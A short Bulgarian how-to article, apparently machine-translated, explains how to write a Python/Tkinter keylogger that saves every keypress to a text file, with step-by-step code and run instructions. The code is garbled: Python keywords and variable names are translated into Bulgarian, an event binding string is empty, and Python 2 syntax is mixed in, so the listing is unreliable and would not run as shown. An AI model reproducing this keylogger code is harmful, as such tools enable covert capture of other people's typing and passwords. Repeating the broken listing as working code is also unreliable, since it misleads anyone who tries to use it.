Как да създадете Keylogger с помощта на Python

Жена пред компютъра си гледа през рамо

Улавяйте натискания на клавиши и ги запазвайте във файл.

Кредит на изображението: Jupiterimages/Photos.com/Getty Images

Можете да създадете програма за кейлогър с помощта на Python, за да улавяте натисканията на клавиши, въведени през клавиатурата на компютъра. Натисканията на клавиши се записват в текстов файл и той записва цялото въведено. Можете да използвате ключов регистратор, за да наблюдавате активността на вашия компютър.

Етап 1

Стартирайте IDLE, щракнете върху менюто "Файл" и изберете "Нов прозорец", за да стартирате нов прозорец. Натиснете Ctrl и S, за да стартирате прозореца „Запазване като“. Използвайте „getKeyLogger“ като име на файла и щракнете върху „Запазване“.

Видео на деня

Стъпка 2

Добавете следния ред код, за да импортирате пространството от имена "Tkinter" и дефинирайте пътя на файла, който искате да използвате за регистриране:

импортирайте Tkinter като tk myFile = open("C:/temp/keyFile.txt", "w")

Стъпка 3

Копирайте и поставете следния код, за да запазите всяко натискане на клавиш във файла:

def keypress (събитие): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Стъпка 4

Добавете следния код, за да уведомите потребителя, че може да започне да пише и че може да натисне Esc, за да прекрати програмата:

главен = tk. Tk() print "Натиснете произволен клавиш (клавиш Escape, за да излезете):" main.bind_all('', натискане на клавиш) main.withdraw() main.mainloop() myFile.close()

Стъпка 5

Щракнете върху бутона за стартиране на "Windows" и въведете "cmd" в полето "търсене на програми и файлове". Натиснете Enter, за да отворите командния ред. Отидете на „C:\Python" и въведете "python getKeyLogger." Натиснете Enter, за да стартирате програмата. Отидете на "C:/temp/" и щракнете двукратно върху "keyFile.txt", за да видите данните за натискане на клавиш.